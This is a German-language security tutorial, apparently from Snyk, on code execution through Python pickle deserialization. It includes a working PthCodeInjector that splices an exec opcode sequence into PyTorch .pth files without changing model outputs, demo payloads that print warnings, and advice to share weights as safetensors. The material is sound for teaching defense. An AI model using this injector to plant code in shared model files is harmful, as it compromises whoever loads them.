In this article
Python-Pickle vergiften und Pth-Dateien mit Backdoors versehen
Das Python-Modul pickle eignet sich hervorragend zur Serialisierung von Objekten, birgt jedoch Sicherheitsrisiken: Beim Deserialisieren nicht vertrauenswürdiger Dateien kann Schadcode ausgeführt werden. Das ist besonders relevant für Machine-Learning-Workflows, in denen gemeinsam genutzte .pth-Dateien zum Einsatz kommen.
Wir zeigen Beispiele mit pickle und PyTorch. Beginnen wir mit der Überprüfung Ihrer PyTorch-Umgebung.
# Check PyTorch Version, PyTorch GPU, torch cuda version
try:
import torch
print(f'PyTorch Version: {torch.__version__}')
print(f'Path: {torch.__file__}')
print(f'\nCUDA Available: {torch.cuda.is_available()}')
if torch.cuda.is_available():
print(f'CUDA Version: {torch.version.cuda}')
print(f'Graphics Card: {torch.cuda.get_device_name(0)}')
print(f'# of GPUs: {torch.cuda.device_count()}')
for i in range(torch.cuda.device_count()):
print(f'\nGPU {i} Details:')
print(f' Name: {torch.cuda.get_device_name(i)}')
print(f' Memory: {torch.cuda.get_device_properties(i).total_memory / 1024**3:.2f} GB')
else:
print('\nRunning on CPU only')
import multiprocessing
print(f'CPU Cores: {multiprocessing.cpu_count()}')
except ImportError:
print('PyTorch is not installed. Install with: pip install torch')
except Exception as e:
print(f'An error occurred: {str(e)}')Falls Sie PyTorch installieren müssen, hängt der genaue Ablauf stark von Ihrer Umgebung ab. Folgen Sie am besten den Anweisungen hier.
Die Version und das Protokoll Ihrer pickle-Installation können Sie wie folgt überprüfen:
$ python3 -c "import pickle; print(f'Default Protocol: {pickle.DEFAULT_PROTOCOL}\nHighest Protocol: {pickle.HIGHEST_PROTOCOL}\nAll Available Protocols: {list(range(pickle.HIGHEST_PROTOCOL + 1))}')"
Das Modul pickle ist Teil der Python-Standardbibliothek. Sie müssen daher keinen Installationsbefehl wie pip install pickle ausführen.
Was ist Pickle in Python?
Die pickle-Bibliothek ist das native Serialisierungsprotokoll von Python. Damit lassen sich komplexe Python-Objekte als Folge von „Opcodes“ speichern – einer Reihe ausführbarer Anweisungen, mit denen das serialisierte Objekt rekonstruiert wird. Pickle bewahrt sogar Objektverweise und Beziehungen zwischen Objekten.
Sehen wir uns nun einige praktische Beispiele für Exploits zur Ausführung beliebigen Codes in pickle an.
Python-Pickle-Dateien mit Schadcode vergiften
Wir erstellen eine Pickle-Datei und fügen eine Instanz einer Klasse ein, die beliebigen Code enthält, der beim Deserialisieren der Datei ausgeführt werden soll. Anschließend zeigen wir, wie ein Endnutzer diese Pickle-Datei laden und dadurch die Sicherheitslücke auslösen könnte.
import pickle
import random
# Generate random tabular data for our example
tabular_data = [
{
"id": i,
"name": f"Item-{i}",
"value": random.randint(1, 100),
"category": random.choice(['A', 'B', 'C'])
}
for i in range(1, 6)
]
# Store the pickle data in a file named 'payload.pkl'
# At this stage, payload.pkl would behave as expected with no potentially malicious side effects during deserialization.
with open('payload.pkl', 'wb') as f:
pickle.dump(tabular_data, f)
# Our class containing arbitrary code we want to execute:
class Malicious:
def __reduce__(self):
# The following code will execute during deserialization
return (print, ("Hello World! Only load pkl files from trusted sources!",))
# Replace original data with malicious code
malicious_payload = Malicious()
# Store potentially malicious pickle data in the same file
with open('payload.pkl', 'wb') as f:
pickle.dump([tabular_data, malicious_payload], f)
# Load the pickle file to show potentially malicious side effects
print("Loading the pickle file 'payload.pkl':")
with open('payload.pkl', 'rb') as f:
data = pickle.load(f)
# Verify the content of the loaded data
print("\nLoaded data:")
print(data)In unserem Beispiel geben wir lediglich ein einfaches Hello World aus. Ein bösartiges Beispiel könnte jedoch Ransomware enthalten.
PyTorch-Modell-Pth-Dateien mit Schadcode vergiften
Ein ähnliches Verfahren zum Einbetten von Schadcode lässt sich auch auf Pth-Dateien anwenden.
import torch
import torchvision.models as models
import zipfile
import struct
from pathlib import Path
class PthCodeInjector:
"""Minimal implementation to inject code into PyTorch pickle files. (ZIP file with data.pkl)"""
def __init__(self, filepath: str):
self.filepath = Path(filepath)
def inject_payload(self, code: str, output_path: str):
"""Inject Python code into the pickle file."""
# Read original pickle from zip
with zipfile.ZipFile(self.filepath, "r") as zip_ref:
data_pkl_path = next(name for name in zip_ref.namelist() if name.endswith("/data.pkl"))
pickle_data = zip_ref.open(data_pkl_path).read()
# Find insertion point after protocol bytes
i = 2 # Skip PROTO opcode and version byte
# Create exec sequence with protocol 4 pickle opcodes
exec_sequence = (
b'c' + b'builtins\nexec\n' + # GLOBAL opcode + module + attr
b'(' + # MARK opcode
b'\x8c' + struct.pack('<B', len(code)) + code.encode('utf-8') + # SHORT_BINUNICODE
b't' + # TUPLE
b'R' # REDUCE
)
# Insert exec sequence after protocol bytes
modified_pickle = pickle_data[:i] + exec_sequence + pickle_data[i:]
# Write modified pickle back to zip
with zipfile.ZipFile(output_path, 'w') as new_zip:
with zipfile.ZipFile(self.filepath, 'r') as orig_zip:
for item in orig_zip.infolist():
if item.filename.endswith('/data.pkl'):
new_zip.writestr(item.filename, modified_pickle)
else:
new_zip.writestr(item.filename, orig_zip.open(item).read())
# Example and validation
if __name__ == "__main__":
# Create and save original model
torch.manual_seed(0) # For reproducibility and comparing the outputs of the models
model = models.mobilenet_v2()
model.eval()
torch.save(model, "mobilenet.pth")
# Test original model
test_input = torch.randn(1, 3, 224, 224)
original_output = model(test_input)
# Inject payload
modifier = PthCodeInjector("mobilenet.pth")
modifier.inject_payload("print('Hello world! Only load pth files from trusted sources!')", "modified.pth")
# Load and test modified model
modified_model = torch.load("modified.pth") # Should print warning
modified_model.eval()
modified_output = modified_model(test_input)
# Verify models are identical
print("\nVerifying model equivalence:")
print(f"Structure matches: {str(model) == str(modified_model)}")
print(f"Outputs match: {torch.allclose(original_output, modified_output)}")
print(f"Parameters match: {all(torch.equal(p1, p2) for p1, p2 in zip(model.parameters(), modified_model.parameters()))}")Eleganter und vielseitiger ließe sich dies mit fickling umsetzen, indem der Code direkt eingeschleust wird. Dieser Code zeigt jedoch auf einfache Weise, wodurch diese Sicherheitslücke ermöglicht wird. Dabei werden die Opcodes der Pickle-Datei geladen und unser potenziell bösartiger Code zwischen die vorhandenen Opcodes eingefügt. So würde ein Endnutzer, der das Modell lädt, keinen Unterschied in dessen Funktionalität bemerken.
Modellgewichte mit Safetensors teilen
Im Idealfall würden neuronale Netzwerkgewichte von Anfang an im Format safetensors geteilt. Wir können unser obiges Beispiel anpassen, um eine Möglichkeit zum Export in dieses Format mit PyTorch zu zeigen.
import torch
from torch import nn
from safetensors.torch import save_file, load_file
# Example PyTorch model (a simple feed-forward neural network)
class SimpleModel(nn.Module):
def __init__(self):
super(SimpleModel, self).__init__()
self.fc1 = nn.Linear(10, 50)
self.fc2 = nn.Linear(50, 2)
def forward(self, x):
x = torch.relu(self.fc1(x))
return self.fc2(x)
# Create an instance of the model
model = SimpleModel()
# Generate some random weights (or assume it's a trained model)
example_input = torch.randn(1, 10)
output = model(example_input) # Forward pass with random input
# Save the model's weights to Safetensors format
weights = model.state_dict() # Get the state dictionary of the model
save_file(weights, "model.safetensors")
# Loading the model's weights from Safetensors format
loaded_weights = load_file("model.safetensors")
model.load_state_dict(loaded_weights)
# Verify loading worked by making another forward pass
output = model(example_input)
print("\nModel output after loading weights from 'model.safetensors':")
print(output)Die resultierende safetensors-Datei enthält die entsprechenden Gewichte, die sich mit der bereits im Code definierten Architektur kombinieren lassen, um das Modell vollständig zu laden. Viele Modelle, insbesondere ältere, verwenden diesen Workflow jedoch noch nicht. Pickle-Dateien werden nach wie vor häufig verbreitet, und das Pickle-Serialisierungsformat ist weiterhin das Standardformat beim Speichern von mit PyTorch trainierten neuronalen Netzwerken.
Weitere Angriffe auf die Deserialisierung von Objekten
Neuronale Netzwerkgewichte sind nicht die einzigen Daten, die in Objektserialisierungsformaten wie pickle gespeichert werden. Oft werden auch ganze Datensätze als Pickle-Dateien gespeichert. In der Programmiersprache R werden Datensätze beispielsweise häufig als RDS-Dateien abgelegt.
Schadcode lässt sich auch direkt in Tensoren – also den Modellgewichten selbst – einbetten. Dazu wird er in so kleine Änderungen an den Gewichten kodiert, dass sich die Genauigkeit des Modells kaum verändert. Dieses Verfahren heißt Tensor-Steganografie. In Verbindung mit pickle-Deserialisierungs-Exploits ergibt sich daraus ein besonders schwer erkennbarer Angriffsvektor: Es kann so aussehen, als würde pickle lediglich einen Tensor deserialisieren, während tatsächlich auch Schadcode im Arbeitsspeicher rekonstruiert und ausgeführt wird. Dafür muss jedoch weiterhin die Sicherheitslücke im Pickle-Format ausgenutzt werden – safetensors würde den eingebetteten Schadcode nicht im Arbeitsspeicher rekonstruieren und ausführen.
Generative-KI-Workflows können auch Dateien enthalten, mit denen sich die Fähigkeiten eines Basismodells anpassen und erweitern lassen. Nutzer laden häufig LORAs, ControlNets, IPAdapter-Varianten oder sogar Textual-Inversion-Checkpoints herunter. Die hier erläuterten allgemeinen Grundsätze gelten auch für diese Dateitypen. LORAs werden üblicherweise im Format safetensors geteilt, bei den anderen ist das jedoch weniger verbreitet. Seien Sie vorsichtig, wenn Sie Dateien herunterladen, die mit pickle serialisiert wurden.
Weitere praktische Übungen
Snyk bietet ein CTF-Event (Capture the Flag) an, bei dem dieser Exploit zum Einsatz kommt und Sie lernen, Schwachstellen im Zusammenhang mit Python Pickle auszunutzen. Das Python-Exploit-Lab heißt Sauerkraut und wird von John Hammond hier vorgestellt.
Wenn Sie mehr über die Sicherheit von Python-Anwendungen und Schwachstellen wie Code-Injection, XPath-Injection und weitere Themen erfahren möchten, empfehlen wir Ihnen die Lektionen zur Entwicklersicherheit für Python von Snyk Learn.

Snyk stellt die Developer Experience in den Mittelpunkt
Erfahren Sie, warum die Developer Experience so wichtig ist und wie Snyk sie mit unseren neuesten Funktionen noch reibungsloser gestaltet.